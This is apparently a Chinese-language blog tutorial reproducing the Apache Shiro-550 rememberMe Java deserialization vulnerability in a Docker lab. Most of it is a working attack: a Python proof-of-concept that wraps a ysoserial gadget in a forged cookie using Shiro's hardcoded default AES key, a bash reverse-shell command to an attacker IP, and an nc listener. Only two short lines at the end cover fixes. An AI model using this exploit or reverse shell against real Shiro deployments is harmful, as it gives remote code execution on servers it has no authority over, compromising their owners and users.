shiro簡介:
shiro(Java安全框架):apache shiro 是一個強大且易用的java安全框架框架,執行身份驗證 、授權、密碼和會話管理。使用shiro的易於理解的API,可以快速、輕鬆的獲得任何應用程序,從最小的的移動應用程序到最大的網絡和企業應用程序。apache shiro在java的權限及安全驗證框架中佔有重要的一席之地,在它編號爲550的issue中爆出過嚴重的java反序列化漏洞。下面我來教大家復現這個漏洞。
漏洞描述:
官方issues通告:shiro的issues
產生漏洞的原因:
shiro對rememeberme的cookie做了加密處理,shiro在cookieremembermeManaer類中將cookie中的rememberme字段內容分別進行序列化,aes加密,base64編碼操作,在識別身份的時候,需要對cookie裏的rememberme字段解密,根據加密的順序,不難指導解密的順序爲:
- 獲取rememberme cookie
- base64 decode
- 解密aes
- 反序列化
但是,其中aes加密的密鑰key被硬編碼在代碼裏,意味着每個人通過源代碼都能拿到aes加密的密鑰,因此,攻擊者構造一個惡意的對象,並且將其序列化,aes加密,base64編碼後,作爲cookie的rememberme字段發送,shiro將rememberme進行解密並且反序列化,最終造成了反序列化漏洞。
漏洞復現:
目前有兩個復現方式:
1:從GitHub上獲取apahce shiro存在漏洞的源代碼:
2:使用docker鏡像復現
使用docker鏡像復現漏洞:
獲取docker鏡像:
docker pull medicean/vulapps:s_shiro_1
docker run -d -p youport:8080 medicean/vulapps:s_shiro_1
安裝ysoserial的jar文件:
git clone https://github.com/frohoff/ysoserial.git *作者更新了,下載的jar包的版本號可能不一樣,以下的命令請注意版本號的修改* cd ysoserial mvn package -DskipTests cp ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
注意:kali不自帶mvn命令,需要自己下載:linux下載mvn命令
然後訪問ip地址+youport 環境搭建成功
然後我們開始抓包:
點擊account page頁面進去後是要求你登錄,你選擇頁面上提示的賬號密碼登錄,記得登錄時勾選下方的rememeber選項。店家抓包。
第一個包放過,選擇接受返回包,然後將這個頁面的數據發送到repter裏面
我們的主要目標就是這個裏面的cookie裏的rememeber參數
poc準備:
*注意ysoserial的版本號,下載的什麼版本填什麼版本*
下列poc代碼複製到本地命名爲:shiro_poc.py
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("/tmp/payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
python3執行該腳本:
使用方式:python3 shiro_poc.py "你的命令"
舉例:python3 shiro_poc.py "bash -i >& /dev/tcp you ip/port 0>&1"
然後我們會在執行腳本的目錄下發現payload.cookie文件,查看文件複製其中的cookie值到之前抓包的數據包內替換其cookie值。
本地開啓nc監聽:
nc -lvvp port
反彈shell
修復方案:
1、升級shiro版本
2、修改文件中硬編碼的密鑰